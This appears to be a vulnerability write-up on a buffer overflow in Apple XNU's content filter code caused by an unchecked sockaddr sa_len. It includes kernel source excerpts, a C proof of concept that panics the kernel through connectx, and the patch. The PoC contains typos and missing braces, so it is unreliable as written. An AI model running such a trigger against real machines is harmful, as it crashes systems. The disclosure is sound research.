From a comment to a CVE: Content filter strikes again!


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0x0- Opening

In the past few years XNU had few vulns in a newly added/changed code areas (extra_recipe, kq double release) and in the content filter area (bug collision uaf, silent patched uaf) so it is no surprise that the combination of the newly added code and complex areas (content-filter) alongside with a funny comment caught our attention.

0x1- Discovery story

Upon a closer look at the newly added xnu source of Darwin 19 you might notice a strange comment in content_filter.c:

 *	Deal with OOB
 *	If support datagram, enqueue control and address mbufs as well

Is this comment referring to OOB read/write issues? Probably not but it won’t hurt to run a quick search for those so we will use the magic tool CMD +f to search for memcpy calls and in less than two minutes you will find the following 

0x2- The bug.

The newly updated cfil_sock_attach function which is easily reached from tcp_usr_connect and tcp_usr_connectx with controlled variables:

cfil_sock_attach(struct socket *so, struct sockaddr *local, struct sockaddr *remote, int dir) // (Part A)
	errno_t error = 0;
	uint32_t filter_control_unit;


	/* Limit ourselves to TCP that are not MPTCP subflows */
	if ((so->so_proto->pr_domain->dom_family != PF_INET &&
	    so->so_proto->pr_domain->dom_family != PF_INET6) ||
	    so->so_proto->pr_type != SOCK_STREAM ||
	    so->so_proto->pr_protocol != IPPROTO_TCP ||
	    (so->so_flags & SOF_MP_SUBFLOW) != 0 ||
	    (so->so_flags1 & SOF1_CONTENT_FILTER_SKIP) != 0) {
		goto done;

	filter_control_unit = necp_socket_get_content_filter_control_unit(so);
	if (filter_control_unit == 0) {
		goto done;

	if (filter_control_unit == NECP_FILTER_UNIT_NO_FILTER) {
		goto done;
	if ((filter_control_unit & NECP_MASK_USERSPACE_ONLY) != 0) {
		goto done;
	if (cfil_active_count == 0) {
		goto done;
	if (so->so_cfil != NULL) {
		CFIL_LOG(LOG_ERR, "already attached");
	} else {
		cfil_info_alloc(so, NULL);
		if (so->so_cfil == NULL) {
			error = ENOMEM;
			goto done;
		so->so_cfil->cfi_dir = dir;
	if (cfil_info_attach_unit(so, filter_control_unit, so->so_cfil) == 0) {
		CFIL_LOG(LOG_ERR, "cfil_info_attach_unit(%u) failed",
		goto done;
	CFIL_LOG(LOG_INFO, "so %llx filter_control_unit %u sockID %llx",
	    filter_control_unit, so->so_cfil->cfi_sock_id);

	so->so_flags |= SOF_CONTENT_FILTER;

	/* Hold a reference on the socket */

	 * Save passed addresses for attach event msg (in case resend
	 * is needed.
	if (remote != NULL) {
		memcpy(&so->so_cfil->cfi_so_attach_faddr, remote, remote->sa_len); // Part B
	if (local != NULL) {
		memcpy(&so->so_cfil->cfi_so_attach_laddr, local, local->sa_len); // Part C

	error = cfil_dispatch_attach_event(so, so->so_cfil, 0, dir);
	/* We can recover from flow control or out of memory errors */
	if (error == ENOBUFS || error == ENOMEM) {
		error = 0;
	} else if (error != 0) {
		goto done;

	return error;

We can see that in (Part A) the function receives two sockaddrs parameters (local and remote) which are user controlled and then using their sa_len struct member (remote in (Part B) and local in (Part C)) in order to copy data to cfi_so_attach_laddr and cfi_so_attach_faddr. Parts (A) (B) and (C) were all result of a new changes in XNU.

So what’s the problem? The problem is there is lack of check of sa_len which can be set up to 255 and then will be used in a memcpy to copy data into a union sockaddr_in_4_6 which is a 28 bytes struct – resulting in a buffer overflow.

The PoC below which is almost identical to Ian Beer’s mptcp with two changes. This POC requires a pre-requisite to reach the vulnerable area. In order to trigger the vulnerability we need to use an MDM enrolled device with NECP policy, or attach the socket to a valid filter_control_unit. One way to do it is to create one with cfilutil and then manually write it to kernel memory using a kernel debugger.

After running the POC, it will crash the kernel:

#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, const char * argv[ ]) {

	int sock = socket(AF_INET, SOCK_STRAEM, IPPROTO,TCP);
	If (sock < 0) {
		printf(“socket failed\n”);
		return -1;
	printf(“got socket: %d\n”, sock);
	struct sockaddr* sockaddr_dst = malloc(256);
	memset(sockaddr_dst, ‘A’, 256);
	sockaddr_dst->sa_len = 255;
	sockaddr_dst->sa_faimly =AF_INET;
	sa_endpoint_t eps = {0};
	eps.sae_srcif = 0;
	eps.sae_srcaddr = NULL;
	eps.sae_srcaddrlen = 0;
eps.sae_dstaddr = sockaddr_dst;
eps.sae_dstaddrlen = 255;
int err = connectx(sock,&eps,SAE_ASSOCID_ANY,0,NULL,0,NULL,NULL);
  printf(“err: %d\n”,err);
return 0;

0x3- Patch

The patch of the issue is interesting too because while the source code (iOS 13.6 / MacOS 10.15.6) provide this patch:

if (remote != NULL && (remote->sa_len <= sizeof(union sockaddr_in_4_6))) {
		memcpy(&so->so_cfil->cfi_so_attach_faddr, remote, remote->sa_len);
	if (local != NULL && (local->sa_len <= sizeof(union sockaddr_in_4_6))) {
		memcpy(&so->so_cfil->cfi_so_attach_laddr, local, local->sa_len);

The disassembly shows something else…

Here is a picture of the vulnerable part in macOS 10.15.1 compiled kernel (before the issue was reported):

Here is a picture of the vulnerable part in macOS 10.15.6 compiled kernel (after the issue was reported):

The panic call with the mecmpy_chk is gone alongside the patch!

Did the original developer knew this function was vulnerable and placed it there as a placeholder until a proper patch? Your guess is good as ours.

Also note that the call to memcpy_chk before the real_mode_bootstarp_end (which is a wraparound of memcpy) is what kept this issue from being exploitable.

0x4- What can we take from this?

  1. Read comments they might give us valuable information
  2. Newly added code is oftentimes buggy
  3. Content filter code is complex and tricky 
  4. Now with Pangu’s recent blog post and Ian Beer mptcp bug we can learn that sockaddr->sa_len already caused multiple issues and should be audited a bit more carefully.

0x5- Attacks in the wild?

This issue is not dangerous. During our investigation of this bug, ZecOps checked its targeted threats intelligence database, and saw no active attacks associated with this issue. We still advise to update to the latest version to receive all other updates.

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